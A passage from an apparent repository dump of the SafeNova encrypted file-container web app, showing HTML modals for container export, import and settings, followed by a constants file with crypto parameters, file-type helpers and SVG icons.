stroke-linecap=\"square\"/>\n                        </svg>\n                    </div>\n                    <div>\n                        <div class=\"modal-title\">Export Container</div>\n                        <div style=\"font-size:11px;color:var(--text-dim);margin-top:1px\">Confirm your identity to export</div>\n                    </div>\n                </div>\n                <button class=\"modal-close\" id=\"exp-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\" style=\"gap:12px\">\n                <div class=\"notice-box\" style=\"border-left-color:var(--accent)\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 16 16\" fill=\"none\" style=\"color:var(--accent);flex-shrink:0;margin-top:1px\"><path d=\"M8 1.5a6.5 6.5 0 100 13 6.5 6.5 0 000-13zM7.25 5h1.5v4h-1.5V5zm0 5h1.5v1.5h-1.5V10z\" fill=\"currentColor\"/></svg>\n                    <span>Container <strong id=\"exp-cont-name\"></strong> will be exported as a <code style=\"background:var(--bg4);padding:1px 4px;border-radius:3px;font-size:11px\">.safenova</code> file. Enter the password to authorize the export.</span>\n                </div>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Container Password</label>\n                    <div class=\"input-wrap\" style=\"position:relative\">\n                        <input type=\"password\" class=\"input\" id=\"exp-pw\" placeholder=\"Enter password…\" autocomplete=\"current-password\" style=\"padding-right:38px\">\n                        <button class=\"input-eye\" type=\"button\" id=\"exp-eye\" aria-label=\"Show password\" tabindex=\"-1\">\n                            <svg class=\"eye-open\" width=\"15\" height=\"15\" viewBox=\"0 0 15 15\" fill=\"none\"><path d=\"M7.5 3C4.5 3 2 7.5 2 7.5S4.5 12 7.5 12 13 7.5 13 7.5 10.5 3 7.5 3z\" stroke=\"currentColor\" stroke-width=\"1.3\"/><circle cx=\"7.5\" cy=\"7.5\" r=\"1.8\" stroke=\"currentColor\" stroke-width=\"1.3\"/></svg>\n                            <svg class=\"eye-closed\" width=\"15\" height=\"15\" viewBox=\"0 0 15 15\" fill=\"none\" style=\"display:none\"><path d=\"M2 2l11 11M6.5 5.5A3 3 0 0112 7.5M3 7.5C4 9.5 5.6 11 7.5 11\" stroke=\"currentColor\" stroke-width=\"1.3\" stroke-linecap=\"square\"/></svg>\n                        </button>\n                    </div>\n                </div>\n                <div class=\"unlock-error\" id=\"exp-error\"></div>\n            </div>\n            <div class=\"modal-footer\" style=\"justify-content:space-between;align-items:center\">\n                <span style=\"font-size:11px;color:var(--text-dim);display:flex;align-items:center;gap:5px\">\n                    <svg width=\"11\" height=\"11\" viewBox=\"0 0 12 12\" fill=\"none\"><rect x=\"1\" y=\"5\" width=\"10\" height=\"6\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.2\"/><path d=\"M3.5 5V3.5a2.5 2.5 0 015 0V5\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linecap=\"square\"/></svg>\n                    AES-256-GCM encrypted\n                </span>\n                <div style=\"display:flex;gap:8px\">\n                    <button class=\"btn\" id=\"exp-cancel\">Cancel</button>\n                    <button class=\"btn btn-primary\" id=\"exp-ok\">\n                        <svg width=\"13\" height=\"13\" viewBox=\"0 0 13 13\" fill=\"none\"><path d=\"M6.5 1v8M3 6l3.5 3.5L10 6M1 11h11\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>\n                        Export\n                    </button>\n                </div>\n            </div>\n        </div>\n\n        <!-- ==================== IMPORT PASSWORD MODAL ==================== -->\n        <div class=\"modal\" id=\"modal-import-pw\" style=\"display:none;min-width:380px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Import Container</span>\n                <button class=\"modal-close\" id=\"imp-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"modal-body\">\n                <p style=\"font-size:13px;line-height:1.6;margin-bottom:8px\">Container <strong id=\"imp-name\"></strong> has an encrypted file manifest. Enter the password to complete the import.</p>\n                <div class=\"form-group\">\n                    <label class=\"form-label\">Password</label>\n                    <input type=\"password\" class=\"input\" id=\"imp-pw\" placeholder=\"Container password\">\n                </div>\n                <div class=\"unlock-error\" id=\"imp-error\"></div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn\" id=\"imp-cancel\">Cancel</button>\n                <button class=\"btn btn-primary\" id=\"imp-ok\">Import</button>\n            </div>\n        </div>\n\n        <!-- ==================== SETTINGS MODAL ==================== -->\n        <div class=\"modal modal-settings\" id=\"modal-settings\" style=\"display:none;min-width:520px;max-width:620px\">\n            <div class=\"modal-header\">\n                <span class=\"modal-title\">Environment</span>\n                <button class=\"modal-close\" id=\"settings-close\">\n                    <svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                        <path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" />\n                    </svg>\n                </button>\n            </div>\n            <div class=\"settings-tabs\">\n                <button class=\"settings-tab active\" data-tab=\"personalization\">Settings</button>\n                <button class=\"settings-tab\" data-tab=\"statistics\">Statistics</button>\n            </div>\n            <div class=\"modal-body\" style=\"padding:0\">\n                <!-- Personalization Tab -->\n                <div class=\"settings-panel\" id=\"settings-personalization\">\n                    <div class=\"settings-section\">\n                        <div class=\"settings-section-title\">Security</div>\n                        <div class=\"settings-row\">\n                            <span class=\"settings-label\">Auto-lock (inactivity)</span>\n                            <div class=\"custom-dd\" id=\"settings-autolock-dd\">\n                                <div class=\"custom-dd-head\">\n                                    <span class=\"custom-dd-val\">1 hour</span>\n                                    <svg width=\"12\" height=\"12\" viewBox=\"0 0 24 24\" fill=\"currentColor\"><path d=\"M7 10l5 5 5-5z\"/></svg>\n                                </div>\n                                <div class=\"custom-dd-menu\">\n                                    <div class=\"custom-dd-opt\" data-value=\"0\">Never</div>\n                                    <div class=\"custom-dd-opt\" data-value=\"5\">5 minutes</div>\n                                    <div class=\"custom-dd-opt\" data-value=\"10\">10 minutes</div>\n                                    <div class=\"custom-dd-opt\" data-value=\"15\">15 minutes</div>\n                                    <div class=\"custom-dd-opt\" data-value=\"20\">20 minutes</div>\n                                    <div class=\"custom-dd-opt\" data-value=\"30\">30 minutes</div>\n                                    <div class=\"custom-dd-opt\" data-value=\"60\">1 hour</div>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"settings-section\" style=\"margin-top:4px;\">\n                        <div class=\"settings-section-title\">Personalization</div>\n                        <div class=\"settings-row\">\n                            <span class=\"settings-label\">Icon Size</span>\n                            <div class=\"settings-toggle-group\" id=\"settings-icon-size\">\n                                <button class=\"settings-toggle-btn active\" data-value=\"small\">Small</button>\n                                <button class=\"settings-toggle-btn\" data-value=\"normal\">Normal</button>\n                                <button class=\"settings-toggle-btn\" data-value=\"large\">Large</button>\n                            </div>\n                        </div>\n                        <div class=\"settings-row\">\n                            <span class=\"settings-label\">Show Grid Dots</span>\n                            <label class=\"switch\" id=\"settings-grid-dots\">\n                                <input type=\"checkbox\" checked>\n                                <span class=\"switch-slider\"></span>\n                            </label>\n                        </div>\n                        <div class=\"settings-row\">\n                            <span class=\"settings-label\">Disable Animations</span>\n                            <label class=\"switch\" id=\"settings-animations\">\n                                <input type=\"checkbox\">\n                                <span class=\"switch-slider\"></span>\n                            </label>\n                        </div>\n                    </div>\n                </div>\n                <!-- Statistics Tab -->\n                <div class=\"settings-panel\" id=\"settings-statistics\" style=\"display:none\">\n                    <div class=\"settings-section\">\n                        <div class=\"stats-grid\" id=\"stats-grid\"></div>\n                        <div class=\"stats-chart-wrap\">\n                            <span class=\"settings-label\" style=\"margin-bottom:8px;display:block\">File Types</span>\n                            <div class=\"stats-bar-chart\" id=\"stats-bar-chart\"></div>\n                        </div>\n                        <div class=\"stats-chart-wrap\">\n                            <span class=\"settings-label\" style=\"margin-bottom:8px;display:block\">Storage Usage</span>\n                            <div class=\"stats-storage-bar\" id=\"stats-storage-bar\"></div>\n                          </div>\n                      </div>\n                </div>\n            </div>\n            <div class=\"modal-footer\">\n                <button class=\"btn btn-primary\" id=\"settings-ok\">Done</button>\n            </div>\n        </div>\n\n    </div>\n\n    <!-- ==================== TOAST CONTAINER ==================== -->\n    <div id=\"toast-container\"></div>\n\n    <!-- ==================== SCRIPTS (dependency order) ==================== -->\n    <script src=\"js/argon2.umd.min.js\"></script>\n    <script src=\"js/constants.js\"></script>\n    <script src=\"js/db.js\"></script>\n    <script src=\"js/crypto.js\"></script>\n    <script src=\"js/vfs.js\"></script>\n    <script src=\"js/state.js\"></script>\n    <script src=\"js/home.js\"></script>\n    <script src=\"js/desktop.js\"></script>\n    <script src=\"js/fileops.js\"></script>\n    <script src=\"js/main.js\"></script>\n\n</body>\n\n</html>\n\n"
  },
  {
    "path": "safenova/js/constants.js",
    "content": "'use strict';\n\n/* ============================================================\n   CONSTANTS\n   ============================================================ */\nconst DB_NAME = 'SafeNofaEFS';\nconst DB_VERSION = 2;\nconst CONTAINER_LIMIT = 8 * 1024 * 1024 * 1024; // 8 GB per container\nconst DEVICE_LIMIT = 20 * 1024 * 1024 * 1024; // 20 GB total device display limit\nconst PBKDF2_ITER = 200_000; // legacy fallback\nconst ARGON2_MEM  = 19456;  // 19 MB memory cost (OWASP minimum)\nconst ARGON2_ITER = 2;      // time cost (iterations)\nconst ARGON2_PAR  = 1;      // parallelism\nconst VERIFY_TEXT = 'SafeNofaEFS-VERIFY-OK';\nconst ICON_W = 84, ICON_H = 90;\nlet GRID_X = 96;   // horizontal grid cell size\nlet GRID_Y = 96;   // vertical   grid cell size\n\n/* ============================================================\n   UTILITIES\n   ============================================================ */\nfunction uid() {\n    return crypto.randomUUID\n        ? crypto.randomUUID()\n        : Date.now().toString(36) + Math.random().toString(36).slice(2);\n}\n\nfunction fmtSize(b) {\n    if (b === 0) return '0 B';\n    const k = 1024, s = ['B', 'KB', 'MB', 'GB', 'TB'];\n    const i = Math.min(Math.floor(Math.log(b) / Math.log(k)), s.length - 1);\n    return (b / Math.pow(k, i)).toFixed(i > 0 ? 1 : 0) + ' ' + s[i];\n}\n\nfunction fmtDate(ts) {\n    const d = new Date(ts);\n    return d.toLocaleDateString('en-US', { month: 'short', day: 'numeric', year: 'numeric' }) + ' ' +\n        d.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit' });\n}\n\nfunction getExt(name) {\n    const p = name.lastIndexOf('.');\n    return p > 0 ? name.slice(p + 1).toLowerCase() : '';\n}\n\nfunction getMime(name) {\n    const e = getExt(name);\n    return ({\n        txt: 'text/plain', md: 'text/markdown', html: 'text/html', htm: 'text/html',\n        css: 'text/css', js: 'text/javascript', ts: 'text/typescript', json: 'application/json',\n        xml: 'application/xml', csv: 'text/csv', py: 'text/x-python', rs: 'text/x-rust',\n        go: 'text/x-go', java: 'text/x-java', c: 'text/x-c', cpp: 'text/x-c++',\n        sh: 'text/x-sh', bat: 'text/x-bat', yaml: 'text/yaml', yml: 'text/yaml',\n        png: 'image/png', jpg: 'image/jpeg', jpeg: 'image/jpeg', gif: 'image/gif',\n        webp: 'image/webp', svg: 'image/svg+xml', bmp: 'image/bmp', ico: 'image/x-icon',\n        avif: 'image/avif',\n        pdf: 'application/pdf',\n        mp3: 'audio/mpeg', wav: 'audio/wav', ogg: 'audio/ogg', flac: 'audio/flac', m4a: 'audio/m4a',\n        mp4: 'video/mp4', webm: 'video/webm', mov: 'video/quicktime', avi: 'video/x-msvideo',\n        zip: 'application/zip', rar: 'application/x-rar-compressed',\n        gz: 'application/gzip', '7z': 'application/x-7z-compressed', tar: 'application/x-tar',\n        doc: 'application/msword',\n        docx: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n        xls: 'application/vnd.ms-excel',\n        xlsx: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n        ppt: 'application/vnd.ms-powerpoint',\n        pptx: 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n        woff: 'font/woff', woff2: 'font/woff2', ttf: 'font/ttf', otf: 'font/otf',\n    })[e] || 'application/octet-stream';\n}\n\nfunction isText(mime, name) {\n    return mime.startsWith('text/') ||\n        ['application/json', 'application/xml', 'application/javascript'].includes(mime);\n}\nfunction isImage(mime) { return mime.startsWith('image/'); }\nfunction isAudio(mime) { return mime.startsWith('audio/'); }\nfunction isVideo(mime) { return mime.startsWith('video/'); }\nfunction isPDF(mime) { return mime === 'application/pdf'; }\n\nfunction buf2b64(buf) { return btoa(String.fromCharCode(...new Uint8Array(buf))); }\nfunction b642buf(s) {\n    const b = atob(s), u = new Uint8Array(b.length);\n    for (let i = 0; i < b.length; i++) u[i] = b.charCodeAt(i);\n    return u.buffer;\n}\n\nfunction pwStrength(pw) {\n    let s = 0;\n    if (pw.length >= 8) s++;\n    if (pw.length >= 12) s++;\n    if (/[a-z]/.test(pw) && /[A-Z]/.test(pw)) s++;\n    if (/\\d/.test(pw)) s++;\n    if (/[^a-zA-Z0-9]/.test(pw)) s++;\n    return s; // 0–5\n}\n\nfunction escHtml(str) {\n    return String(str)\n        .replace(/&/g, '&amp;').replace(/</g, '&lt;')\n        .replace(/>/g, '&gt;').replace(/\"/g, '&quot;');\n}\n\n/* ============================================================\n   FOLDER COLOR PALETTE\n   ============================================================ */\nconst FOLDER_COLORS = [\n  { label: 'Default (Blue)',  color: '#0078d4' },\n  { label: 'Teal',           color: '#4ec9b0' },\n  { label: 'Purple',         color: '#9b59d0' },\n  { label: 'Orange',         color: '#f18800' },\n  { label: 'Red',            color: '#e84040' },\n  { label: 'Green',          color: '#3cb371' },\n  { label: 'Pink',           color: '#e879a0' },\n  { label: 'Yellow',         color: '#d4b030' },\n  { label: 'Grey',           color: '#7a7a7a' },\n];\n\n/* ============================================================\n   SVG ICON LIBRARY  — 16×16 UI icons\n   ============================================================ */\nconst Icons = {\n    open: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1 4.5h5l1.5 2H15v8H1z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/></svg>`,\n    file: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M3 1h7l3 3v10H3z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M10 1v3h3\" stroke=\"currentColor\" stroke-width=\"1.4\"/></svg>`,\n    folder: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1 4.5h5l1.5 2H15v8H1z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/></svg>`,\n    download: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M8 2v8M4 7l4 4 4-4M2 14h12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" stroke-linejoin=\"miter\"/></svg>`,\n    upload: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M8 10V2M4 5l4-4 4 4M2 14h12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" stroke-linejoin=\"miter\"/></svg>`,\n    rename: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M11 2l3 3-8 8H3v-3z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M9 4l3 3\" stroke=\"currentColor\" stroke-width=\"1.4\"/></svg>`,\n    trash: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M2 4h12\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/><path d=\"M5 4V2h6v2\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/><path d=\"M3 4l1 10h8l1-10\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M6 7v4M10 7v4\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    info: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><circle cx=\"8\" cy=\"8\" r=\"6.5\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M8 7v4\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\"/><circle cx=\"8\" cy=\"5.2\" r=\"0.8\" fill=\"currentColor\"/></svg>`,\n    paste: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"5\" y=\"4\" width=\"9\" height=\"10\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M5 7H2V15h8v-1\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M6 2h4v3H6z\" stroke=\"currentColor\" stroke-width=\"1.4\"/></svg>`,\n    sort: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M2 4h8M2 8h6M2 12h4M12 2v10\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/><path d=\"M9 9l3 4 3-4\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\" stroke-linejoin=\"miter\"/></svg>`,\n    unlock: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"2\" y=\"7\" width=\"12\" height=\"8\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M5 7V5a3 3 0 015.8-1\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    copy: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"5\" y=\"5\" width=\"9\" height=\"9\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M4 11H2V2h9v2\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/></svg>`,\n    cut: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><circle cx=\"4\" cy=\"13\" r=\"2\" stroke=\"currentColor\" stroke-width=\"1.4\"/><circle cx=\"12\" cy=\"13\" r=\"2\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M4 11L8 4l4 7\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\" stroke-linejoin=\"round\"/><path d=\"M8 1v3\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\"/></svg>`,\n    newfile: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M3 1h7l3 3v10H3z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M10 1v3h3\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M8 7v5M5.5 9.5h5\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    newfolder: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1 4.5h5l1.5 2H15v8H1z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M8 8.5v4M6 10.5h4\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    warning: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M8 2L1 14h14z\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linejoin=\"round\"/><path d=\"M8 6v4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\"/><circle cx=\"8\" cy=\"12\" r=\"0.8\" fill=\"currentColor\"/></svg>`,\n    lock: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"2\" y=\"7\" width=\"12\" height=\"8\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M5 7V5a3 3 0 016 0v2\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    key: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><circle cx=\"5\" cy=\"11\" r=\"3\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M7.2 8.8L14 2M12 2l2 2M10 4l2 2\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    navup: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M8 12V4M4 8l4-4 4 4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    fileup: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M7 9V1M3 5l4-4 4 4M2 11h10v2H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    filedoc: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M2 1h7l3 3v9H2z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/><path d=\"M9 1v3h3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    filedir: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1 3h5l1.5 2H13v7H1z\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    plus: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M7 1v12M1 7h12\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"square\"/></svg>`,\n    close: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M2 2l10 10M12 2L2 12\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    eye: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1 8s2.5-5 7-5 7 5 7 5-2.5 5-7 5-7-5-7-5z\" stroke=\"currentColor\" stroke-width=\"1.5\"/><circle cx=\"8\" cy=\"8\" r=\"2.5\" stroke=\"currentColor\" stroke-width=\"1.5\"/></svg>`,\n    eyeoff: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M1 8s2.5-5 7-5 7 5 7 5-2.5 5-7 5-7-5-7-5z\" stroke=\"currentColor\" stroke-width=\"1.5\"/><circle cx=\"8\" cy=\"8\" r=\"2.5\" stroke=\"currentColor\" stroke-width=\"1.5\"/><path d=\"M3 3l10 10\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\"/></svg>`,    save: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"1\" y=\"1\" width=\"12\" height=\"12\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.5\"/><rect x=\"3\" y=\"1\" width=\"8\" height=\"5\" stroke=\"currentColor\" stroke-width=\"1.5\"/><rect x=\"4\" y=\"7\" width=\"6\" height=\"5\" stroke=\"currentColor\" stroke-width=\"1.4\"/></svg>`,\n    dlbtn: `<svg width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M7 9V1M3 6l4 4 4-4M2 12h10\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    sortAsc: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M4 12V4M2 6l2-2 2 2\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/><path d=\"M8 5h6M8 8h4.5M8 11h3\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    sortDesc: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M4 4v8M2 10l2 2 2-2\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/><path d=\"M8 5h3M8 8h4.5M8 11h6\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    sortName: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M3 3h10M5 7h6M7 11h2\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/></svg>`,\n    sortDate: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"2\" y=\"3\" width=\"12\" height=\"11\" rx=\"1\" stroke=\"currentColor\" stroke-width=\"1.4\"/><path d=\"M2 6h12M5 1v3M11 1v3\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"square\"/></svg>`,\n    sortSize: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><rect x=\"2\" y=\"10\" width=\"4\" height=\"4\" stroke=\"currentColor\" stroke-width=\"1.3\"/><rect x=\"6\" y=\"6\" width=\"4\" height=\"8\" stroke=\"currentColor\" stroke-width=\"1.3\"/><rect x=\"10\" y=\"2\" width=\"4\" height=\"12\" stroke=\"currentColor\" stroke-width=\"1.3\"/></svg>`,\n    sortType: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M2 2h5l2 2v6H2z\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M7 2v2h2\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M7 8h5l2 2v4H7z\" stroke=\"currentColor\" stroke-width=\"1.3\"/><path d=\"M12 8v2h2\" stroke=\"currentColor\" stroke-width=\"1.3\"/></svg>`,\n    refresh: `<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\"><path d=\"M13.5 8a5.5 5.5 0 01-9.8 3.4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/><path d=\"M2.5 8a5.5 5.5 0 019.8-3.4\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\"/><path d=\"M12.3 2v3h-3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" stroke-linejoin=\"miter\"/><path d=\"M3.7 14v-3h3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"square\" stroke-linejoin=\"miter\"/></svg>`,\n};\n\n/* ============================================================\n   LARGE (48×48) FILE TYPE ICONS — for desktop thumbnails\n   ============================================================ */\nfunction getFolderSVG(color) {\n    const c = color || '#0078d4';\n    return `<svg width=\"48\" height=\"48\" viewBox=\"0 0 48 48\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n    <path d=\"M4 14h17l5 7h18v21H4z\" fill=\"${c}\" opacity=\".22\" stroke=\"${c}\" stroke-width=\"1.5\" stroke-linejoin=\"round\"/>\n    <path d=\"M4 21h40v21H4z\" fill=\"${c}\" opacity=\".35\" stroke=\"${c}\" stroke-width=\"1.5\" stroke-linejoin=\"round\"/>\n  </svg>`;\n}\n\nfunction getFileIconSVG(mime, name) {\n    const ext = getExt(name || '');\n    if (isImage(mime)) return _bigIcon('#9cdcfe', _imgPath());\n    if (isAudio(mime)) return _bigIcon('#c678dd', _audioPath());\n    if (isVideo(mime)) return _bigIcon('#c678dd', _videoPath());\n    if (isPDF(mime)) return _bigIcon('#f44747', _pdfPath());\n    if (isText(mime, name)) {\n        if (['js', 'ts', 'py', 'rs', 'go', 'java', 'c', 'cpp', 'cs', 'php', 'rb', 'sh', 